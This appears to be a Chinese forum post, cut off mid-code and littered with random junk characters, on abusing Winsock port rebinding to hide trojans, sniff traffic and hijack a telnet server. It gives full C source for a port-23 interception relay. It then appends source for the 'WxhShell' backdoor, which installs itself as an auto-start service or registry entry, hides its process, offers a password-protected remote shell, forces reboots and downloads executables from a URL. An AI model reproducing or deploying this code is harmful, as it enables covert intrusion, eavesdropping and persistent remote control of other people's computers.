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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^D>/wX\u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jn5=N[hd  
l7=$4As/hI  
  saddr.sin_family = AF_INET; :7 s#5b  
* wQZ '  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q/aL8V<"z  
h|$zHm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); & y 2GQJE  
}lr fO_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bUZ&}(/  
z[<pi :  
  这意味着什么?意味着可以进行如下的攻击: : .UX[!^  
k;AV;KWI'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U)T/.L{0i  
JXRmu~W~l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :IOn`mRYu  
x 1 R!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :&\E\9  
`tUeT[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ).O\O)K  
#Fb0;H9`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [|P]St-  
%te'J G<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,<Do ^HB/  
1^Y:XJ73  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,vHX>)M|  
yA`]%U((  
  #include [1[[$ Dr  
  #include <_FF~lj  
  #include ;Wp`th!F  
  #include    5 p(t")  
  DWORD WINAPI ClientThread(LPVOID lpParam);   P(W\aLp  
  int main() BLYk <m  
  { V< 9em7  
  WORD wVersionRequested; O!@KM;  
  DWORD ret; ;d'O.i=  
  WSADATA wsaData; ?!Th-Cc&m  
  BOOL val; B'[3kJ'  
  SOCKADDR_IN saddr; &_Xv:?  
  SOCKADDR_IN scaddr; "KQ\F0/  
  int err; o*5e14W(:  
  SOCKET s; R}K5'`[%ZY  
  SOCKET sc; a 7mKshY(  
  int caddsize; P PIG?fK)  
  HANDLE mt; lk *QV  
  DWORD tid;   d$G%F$BTs  
  wVersionRequested = MAKEWORD( 2, 2 ); XDv7#Tv_wv  
  err = WSAStartup( wVersionRequested, &wsaData ); C[/U y  
  if ( err != 0 ) { l1.Aw|'D  
  printf("error!WSAStartup failed!\n"); 30T:* I|  
  return -1; E]e[Ty1  
  } 'yAoZ P\|  
  saddr.sin_family = AF_INET; $SD@D6`lL  
   ~{]m8a/ `6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 28ov+s~1+-  
V'BZ=.=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^.$r1/U  
  saddr.sin_port = htons(23); @kgpq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JOoLHZQ1v  
  { ;*$8iwBQ_  
  printf("error!socket failed!\n"); D} <o<Dk  
  return -1; GE|^ryh  
  } 2%No>w}/2  
  val = TRUE; ]nr BmKB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t$kf'An}/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xhoLQD  
  { H2t pP~!G  
  printf("error!setsockopt failed!\n"); oXZ@*   
  return -1; &rtz&}ZB;  
  } H1c|b !C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aDJjVD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <` VJU2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G^eFS;  
ThiPT|5u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #I@[^^Vw  
  { g he=mQ-  
  ret=GetLastError(); ,-NLUS "w  
  printf("error!bind failed!\n"); YH'.Yj2  
  return -1; :!*;0~#  
  } uu46'aT  
  listen(s,2); yl]Cm?8  
  while(1) Ph!NY i,  
  { CIs1*:Q9  
  caddsize = sizeof(scaddr); t2%bHIG}  
  //接受连接请求 Nv$gKC6 ,G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0:(dl@I)@  
  if(sc!=INVALID_SOCKET) a(t<eN>b!  
  { sOtNd({  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6W#F Ss~  
  if(mt==NULL) tFP;CW!E  
  { |$*9j""u  
  printf("Thread Creat Failed!\n"); 6"c!tJc7j  
  break; M97p.;;  
  } wP *a>a  
  } FYE9&{]h  
  CloseHandle(mt); !z6/.>QJ~  
  } Jj _+YfIM  
  closesocket(s); p 7E{es|J  
  WSACleanup(); n[p9$W`  
  return 0; [Kj#KJxy  
  }   >IydXmTy  
  DWORD WINAPI ClientThread(LPVOID lpParam) Spw=+z<<Ub  
  { P`Wf'C^h  
  SOCKET ss = (SOCKET)lpParam; /r 2.j3:l  
  SOCKET sc; U~`^Y8UF  
  unsigned char buf[4096]; w5JC2   
  SOCKADDR_IN saddr; gJcL{]  
  long num; O5n] 4)<  
  DWORD val; BE@H~<E J  
  DWORD ret; RBojT   
  //如果是隐藏端口应用的话,可以在此处加一些判断 vBQ?S2f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yDBgSO{d  
  saddr.sin_family = AF_INET; u2Z^iY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :s5<AT Q  
  saddr.sin_port = htons(23); /P:WQ*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ku\#Wj|YrP  
  { J+*Y)k  
  printf("error!socket failed!\n"); ^*~u4app  
  return -1; o2U J*4  
  } z\ $>k_  
  val = 100; >Zp]vK~s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xM"XNT6b  
  { qk{UO <  
  ret = GetLastError(); [#h!3d|?B  
  return -1; oUS>p":  
  } +?g,&NE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \}Kp=8@nE  
  { xB]v  
  ret = GetLastError(); +P;D}1B#I?  
  return -1; 7^e}|l  
  } <cc0phr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1OwkLy,P  
  { X#C7r@H  
  printf("error!socket connect failed!\n"); X{5DPhB,  
  closesocket(sc); jWm BUHCb  
  closesocket(ss); YU"\Wd[  
  return -1; %l P   
  } @Sd:]h:f-  
  while(1) 4sgwQ$m)  
  { u:kY4T+Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kEDZqUD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L|'ME| '  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9&FV =}MO  
  num = recv(ss,buf,4096,0); ,TA [el%#  
  if(num>0) j`pR;XL1[  
  send(sc,buf,num,0); i*E`<9  
  else if(num==0) ee?ZkU#@  
  break; %*; 8m'  
  num = recv(sc,buf,4096,0); c|a|z}(/J  
  if(num>0) `lOoT  
  send(ss,buf,num,0); Xr;noV-X  
  else if(num==0) cCCplL  
  break; DLM9o3/*J  
  } 8-lY6M\R\  
  closesocket(ss); 51'SA B09  
  closesocket(sc); 'a[|}nJ3  
  return 0 ; c324@o^V  
  } *F&&rsb  
+Y[+2=lO  
0'}?3/u-  
========================================================== E%:zE Q  
p&M'DMj+  
下边附上一个代码,,WXhSHELL #al^Uqd  
#9"_|d=l  
========================================================== nx]b\A  
*<j@+Ch  
#include "stdafx.h" N!~NQ-Re'  
aRP+?}b">  
#include <stdio.h> hjT1SW\I  
#include <string.h> *0zH5c  
#include <windows.h> ]997`,1b  
#include <winsock2.h> K9Fnb6J$u  
#include <winsvc.h> LK5H~FK  
#include <urlmon.h> a];g  
:*nBo  
#pragma comment (lib, "Ws2_32.lib") ,99G2E v4c  
#pragma comment (lib, "urlmon.lib") 'Mqa2o'M  
j06oAer 9  
#define MAX_USER   100 // 最大客户端连接数 Z9^$jw]  
#define BUF_SOCK   200 // sock buffer B K;w!]  
#define KEY_BUFF   255 // 输入 buffer dG$0d_Pq  
.NC}TFN|  
#define REBOOT     0   // 重启 %lmRe(M  
#define SHUTDOWN   1   // 关机 +yI^<BH  
,~iAoxD5jY  
#define DEF_PORT   5000 // 监听端口 0GVok$r@  
f}!26[_9{  
#define REG_LEN     16   // 注册表键长度 t"Hrn3w  
#define SVC_LEN     80   // NT服务名长度 rT)R*3  
YTh4&wm  
// 从dll定义API eP?|U.on  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &Hxr3[+$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *p!dd?8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z`KmH.l!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~.PYS!" +  
SLo/7$rct  
// wxhshell配置信息 [{*#cr f  
struct WSCFG {  %C:XzK-x  
  int ws_port;         // 监听端口 TI  
  char ws_passstr[REG_LEN]; // 口令 'a*IZb-M  
  int ws_autoins;       // 安装标记, 1=yes 0=no _@TTVd  
  char ws_regname[REG_LEN]; // 注册表键名 l$KcS&{w9  
  char ws_svcname[REG_LEN]; // 服务名 +rY0/T_0,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6vA 5;a@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;N|>pSzmL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6iWuBsal  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vm4oaVi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M3kE91  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 20)Il:x  
S8,06/#  
}; ISmnZ@  
<,C})H?  
// default Wxhshell configuration T5;D0tM/  
struct WSCFG wscfg={DEF_PORT, '3->G/Pu  
    "xuhuanlingzhe", N~d]}J8}gx  
    1, P|U>(9;P,  
    "Wxhshell", U?{j  
    "Wxhshell", O=/Tx2i;  
            "WxhShell Service", Vba}RF[b  
    "Wrsky Windows CmdShell Service", }D O#{@af  
    "Please Input Your Password: ", ^D|c  
  1, Yw<:I&  
  "http://www.wrsky.com/wxhshell.exe", i=T/}c)  
  "Wxhshell.exe" ]FBfh.#X@  
    }; c`QsKwa  
U\{Z{F%8  
// 消息定义模块 ENzeVtw0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8hg(6 XUG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Vp$ckr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IuF-bxA  
char *msg_ws_ext="\n\rExit."; @Q!j7I  
char *msg_ws_end="\n\rQuit."; :u0433z:  
char *msg_ws_boot="\n\rReboot..."; 0a'y\f:6*  
char *msg_ws_poff="\n\rShutdown..."; jp]JF h;3  
char *msg_ws_down="\n\rSave to "; AtOB'=ph*  
ez>@'yhK  
char *msg_ws_err="\n\rErr!"; RT>3\qhZ  
char *msg_ws_ok="\n\rOK!"; !@X#{  
o_n.,=/cZ  
char ExeFile[MAX_PATH]; yw0uF  
int nUser = 0; ?`>yl4  
HANDLE handles[MAX_USER]; dp"w=~53  
int OsIsNt; Me>'QVr  
DI7trR`  
SERVICE_STATUS       serviceStatus; ceCshxTU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %XeU4yg\e  
.YkKIei  
// 函数声明 >Z%^|S9  
int Install(void); :xV&%Qa1  
int Uninstall(void); 4 #N#[;M  
int DownloadFile(char *sURL, SOCKET wsh); /a_|oCeC}  
int Boot(int flag); eC-TZH@  
void HideProc(void); P +SCX#{y  
int GetOsVer(void); T Bco  
int Wxhshell(SOCKET wsl); |D~MS`~qd5  
void TalkWithClient(void *cs); F t}tIP7  
int CmdShell(SOCKET sock); wSK?mS6  
int StartFromService(void); hbK+\X  
int StartWxhshell(LPSTR lpCmdLine); t-Wn@a  
=DgD&_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^9nM)[/C?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2,\u Y}4  
&g`a [#  
// 数据结构和表定义 pqK3u)  
SERVICE_TABLE_ENTRY DispatchTable[] = u$"5SGI6  
{ s"/8h#!zv  
{wscfg.ws_svcname, NTServiceMain}, eD3F%wxz  
{NULL, NULL} gyK"#-/_d  
}; K*<n<;W  
9=SZL~#CE  
// 自我安装 [xC (t]S-  
int Install(void) L{ -w9(S`i  
{ <5q}j-Q  
  char svExeFile[MAX_PATH]; Ou%>Dd5|?  
  HKEY key; bCF63(0  
  strcpy(svExeFile,ExeFile); a srkuAS  
4$^=1ax  
// 如果是win9x系统,修改注册表设为自启动 K02./ut-  
if(!OsIsNt) { 2gGJ:,RC$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {e^llfj$#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tla*V#:Ve  
  RegCloseKey(key); vB p5&*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?>_.~b ~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -|lnJg4  
  RegCloseKey(key);  ,Y!)V  
  return 0; 'K1w.hC<  
    } =aCv Xa&,  
  } aE"t['  
} Wac8x%J  
else { -=RXhE_{  
2g$Wv :E3  
// 如果是NT以上系统,安装为系统服务 K6X1a7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j405G4BVW  
if (schSCManager!=0) vcmS]$}  
{ b6lL8KOu  
  SC_HANDLE schService = CreateService sDiYm}W  
  ( .UcS4JU  
  schSCManager, y+PukHY  
  wscfg.ws_svcname, p d6d(  
  wscfg.ws_svcdisp, ,-b9:]{L  
  SERVICE_ALL_ACCESS, "`S61m_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TuU.yvkU  
  SERVICE_AUTO_START, /vhh2`  
  SERVICE_ERROR_NORMAL, D fb&/ }  
  svExeFile, "_`~9qDy  
  NULL, f t7wMi  
  NULL, ZFzOW  
  NULL, Czp:y8YX-  
  NULL, Eq?o /'e  
  NULL fTeo,N  
  ); )Mok$  
  if (schService!=0) EW`3h9v~  
  { !|!V}O  
  CloseServiceHandle(schService); $`  
  CloseServiceHandle(schSCManager); >C i=H(8vN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mF1oY[xa_  
  strcat(svExeFile,wscfg.ws_svcname); &ke4":7X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ";~#epPkX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /[q@=X&  
  RegCloseKey(key); ,[~EThcq  
  return 0; l^_X?L@  
    } g41LpplX  
  } f,1rmX1  
  CloseServiceHandle(schSCManager); 5Z:HCp-aG  
} ZoUfQ!2*  
} l|K8+5L  
I/tzo(r  
return 1; jsR1jou6  
} \Q6Ip@?  
W1OGN4`C  
// 自我卸载 (|x->a  
int Uninstall(void) DW-LkgfA  
{ ,QQ:o'I!  
  HKEY key; *<hpq)  
2Zm*f2$xM  
if(!OsIsNt) { fZZ!kea[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +bSv-i-  
  RegDeleteValue(key,wscfg.ws_regname); t@Jo ?0s  
  RegCloseKey(key); >GcFk&x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :K&hGZ+5  
  RegDeleteValue(key,wscfg.ws_regname); 'e&4#VLH^  
  RegCloseKey(key); &F:7U!  
  return 0; 'W#<8eJo  
  } }bHpFe  
} ]}B&-Yp  
} j7W_%Yk|E  
else { +n:#Uf)  
pZR^ HOq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '!0CwZ 7  
if (schSCManager!=0) $^l=#tV  
{ sq^,l6es>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +vuW 9  
  if (schService!=0) s?2;u p*D  
  { nQ+{1 C  
  if(DeleteService(schService)!=0) { |gaZq!l  
  CloseServiceHandle(schService); %cv%u6 b  
  CloseServiceHandle(schSCManager); jzV#%O{`  
  return 0; ZN?(lt)u9  
  } T>z@;5C  
  CloseServiceHandle(schService); v`fUAm/  
  } vi2xonq^  
  CloseServiceHandle(schSCManager); L{=z}QO  
} Q-0[l/A}a  
} #:yZJS9f9  
Nr)(&c8  
return 1; kju:/kYA  
} 4e(@b3y  
5x: XXj"  
// 从指定url下载文件 0uvL,hF  
int DownloadFile(char *sURL, SOCKET wsh) FlZ]R  
{ t EeMl =u  
  HRESULT hr; 9W8Dp?:  
char seps[]= "/"; WX[y cm8  
char *token; N+tS:$V  
char *file; [brrziZ  
char myURL[MAX_PATH]; M}vPWWcl  
char myFILE[MAX_PATH]; .3!4@l\9C  
c;e ,)$)-|  
strcpy(myURL,sURL); NanU%# &  
  token=strtok(myURL,seps); F&P)mbz1  
  while(token!=NULL) 8 2qe|XD4p  
  { Xu$*ZJ5w  
    file=token; LiRY -;8=  
  token=strtok(NULL,seps); '*k\IM{h  
  } 0 QpWt  
-K !-a'J  
GetCurrentDirectory(MAX_PATH,myFILE); [q@%)F  
strcat(myFILE, "\\"); Q4x71*vy  
strcat(myFILE, file); ?m!FM:%  
  send(wsh,myFILE,strlen(myFILE),0); 1-n0"lP~4  
send(wsh,"...",3,0); fP|\1Y?CS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :Ls36E8f=  
  if(hr==S_OK) BpCSf.zZ  
return 0; 5J;c;PF  
else s,RS}ek~|  
return 1; 3:gk:j#  
5Zov< +kE  
} E=E<l?ob  
AM[:Og S  
// 系统电源模块 Ef!F;De)A  
int Boot(int flag) 87Kx7CKF"  
{ m "DMa  
  HANDLE hToken; wnX6XyUH  
  TOKEN_PRIVILEGES tkp; _e'mG'P(  
Ojs\2('u  
  if(OsIsNt) { L:<'TXsRA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ke0W?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D8ly8]H  
    tkp.PrivilegeCount = 1;  #59zv=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j;3o9!.s:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j7d;1 zB+G  
if(flag==REBOOT) { F)@<ZE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \9p;md`  
  return 0; }FXRp=s  
} 3XRG"  
else { D6t]E)FH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IFY !3^;zO  
  return 0; K"1J1>CHQ  
} kD>vQ?  
  } [wR8q,2  
  else { >W<5$.G  
if(flag==REBOOT) { <'-me09C*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (0+m&, z  
  return 0; $W]bw#NH  
} Oc.>$  
else { !xI![N^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =Vs<DO{|4q  
  return 0; 9E^p i LA  
} Ba6xkEd  
} UU/|s>F  
g6V*wjC  
return 1; <G >PPf}  
} N[-)c,O  
m%&B4E#3T  
// win9x进程隐藏模块 b~gF,^w  
void HideProc(void) LPO" K"'w  
{ S\A[Z&k 0  
hd~rC*I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Oq5k4  
  if ( hKernel != NULL ) 5 %Gf?LyO  
  { #7=LI\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oB9m\o7$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0=B5 =qyw  
    FreeLibrary(hKernel); TTpF m~?(  
  } Vz*'^=(o&  
-+> am?  
return; jq)|Uq'6  
} w.f [)  
gL`SZr9  
// 获取操作系统版本 0^[6  
int GetOsVer(void) *$VurqLn  
{ 6ZBD$1$A!  
  OSVERSIONINFO winfo; /`> P|J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w3>|mDA}I  
  GetVersionEx(&winfo); vvxj{fxb)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4(82dmKO  
  return 1; ny={V*m  
  else R 28*  
  return 0; V{{x~Q9  
} _3a 5/IZ  
3iw9jhK!W  
// 客户端句柄模块 j&.BbcE45  
int Wxhshell(SOCKET wsl) 1tW:(~ =a;  
{ Fev3CV$  
  SOCKET wsh; T#7^6Ks+1  
  struct sockaddr_in client; )v~]lk,o  
  DWORD myID; -e>)yM `i  
Z"Oa5V6[A  
  while(nUser<MAX_USER) Vm.@qO*=  
{ hT"K}d;X  
  int nSize=sizeof(client); E6M: ^p*<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _ GSw\r  
  if(wsh==INVALID_SOCKET) return 1; N/BU%c ph+  
Umg81!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WKsx|a]U  
if(handles[nUser]==0) P hu| hx<  
  closesocket(wsh); n bk(F D6  
else [[Z>(d$8  
  nUser++; LnS >3$t*  
  } MFuI&u!g:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c ?XUb[  
.Er/t"Qs;  
  return 0; BtChG] N|  
} @U@yIv  
;4$C$r!t  
// 关闭 socket b_ yXM  
void CloseIt(SOCKET wsh) Bq_P?Q+\  
{ 1o>R\g3  
closesocket(wsh); 8[;oUVb5  
nUser--; (B<AK4G  
ExitThread(0); rrYp^xLa`  
} ;NE/!!  
4tJ4X' U  
// 客户端请求句柄 EG4bFmcs  
void TalkWithClient(void *cs) [t{ #@X  
{ %PbqASm  
3ohcHQ/a  
  SOCKET wsh=(SOCKET)cs; ( y*X8  
  char pwd[SVC_LEN]; !#1A7[WN  
  char cmd[KEY_BUFF]; ue<<Y"NR  
char chr[1]; P1stL,  
int i,j; XS 8~jBjx  
j9'XZq}  
  while (nUser < MAX_USER) { yMl'1W  
)OC[;>F7  
if(wscfg.ws_passstr) { i0Q _f!j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eu.qA9,@U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &>.1%x@R  
  //ZeroMemory(pwd,KEY_BUFF); @;D}=$x  
      i=0; :b*`hWnQ  
  while(i<SVC_LEN) { Z[u,1l.T  
wS*CcIwj  
  // 设置超时 cu!bg+,zl  
  fd_set FdRead; 9Pk3}f)a  
  struct timeval TimeOut; i03}f%JnuO  
  FD_ZERO(&FdRead); ^jjJM|a  
  FD_SET(wsh,&FdRead); !r obau7  
  TimeOut.tv_sec=8; /(ju  
  TimeOut.tv_usec=0; +WN>9V0H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '. Hp*9R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }, &,Dt  
vx}Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ej09RO"pB  
  pwd=chr[0]; 9w;J7jgOT!  
  if(chr[0]==0xd || chr[0]==0xa) { ZHECcPhz  
  pwd=0; y6jmn1K  
  break; gzCMJ<3!D  
  } c_$&Uii  
  i++; p[F=LP  
    } ^.kAZSgO  
ZQ-`l:G  
  // 如果是非法用户,关闭 socket qbq<O %g=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9^#gVTGXv  
} 0gD59N'C  
K6*UFO4}i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OMI!=Upz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y{Y+2}Dv/  
.4re0:V  
while(1) { i~B@(,  
0$ 9;p zr  
  ZeroMemory(cmd,KEY_BUFF); 9'#.>Q>0=j  
e$+f~~K  
      // 自动支持客户端 telnet标准   &xuwke:[  
  j=0; 6Y_O^f  
  while(j<KEY_BUFF) { dN\P&"`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |;u%JW$4  
  cmd[j]=chr[0]; DT"Zq  
  if(chr[0]==0xa || chr[0]==0xd) { yX.5Y|A<  
  cmd[j]=0; d3=6MX[c  
  break; UoMWn"ZE  
  } ]n]uN~)9  
  j++; dFP-(dX#  
    } |k .M+  
@W\4UX3dK  
  // 下载文件 ?V)C9@bp  
  if(strstr(cmd,"http://")) { 1;:t~Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tZu*Asx7  
  if(DownloadFile(cmd,wsh)) `Ivw`}L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v7<S F  
  else Prb_/B Dd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t#pqXY/;D  
  } #w,WwL!  
  else { oz0n$`O$/  
R!k<l<9q  
    switch(cmd[0]) { R-A'v&=  
  JdUz!=I  
  // 帮助 r5!x,{E6  
  case '?': { Ns|V7|n]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u->@|tEq  
    break; W^d4/]  
  } c."bTq4tJ  
  // 安装 r]JC~{  
  case 'i': { Pm#x?1rAj  
    if(Install()) ~r>EF!U`h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AJ?}Hel[0  
    else E/8u'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /x:(SR2,  
    break; e8ULf~I  
    } o~o6S=4,}  
  // 卸载 cbu nq"  
  case 'r': { NM1cyZ  
    if(Uninstall()) C*EhexK,}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uO_,n  
    else FJd8s*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A |taP$ %  
    break; {GQ Aa  
    } -_EY$ ?4  
  // 显示 wxhshell 所在路径 )`s;~_ZZ  
  case 'p': { uH ny ]  
    char svExeFile[MAX_PATH]; !M]%8NTt2  
    strcpy(svExeFile,"\n\r"); x?f0Hk+  
      strcat(svExeFile,ExeFile); o[6vxTH  
        send(wsh,svExeFile,strlen(svExeFile),0); Q@e*$<3  
    break; >FY&-4+v  
    } Z(LxB$^l[  
  // 重启 8yE%X!E  
  case 'b': { | z#m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Iu-'o  
    if(Boot(REBOOT)) ;h,R?mU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }c35FM,  
    else { Z[})40[M  
    closesocket(wsh); UVT >7  
    ExitThread(0); k_K,J 6_)  
    } e+F}9HR7  
    break; j(Fa=pi  
    } /zl3&~4  
  // 关机 OAW=Pozr9  
  case 'd': { jiwpDB&[  
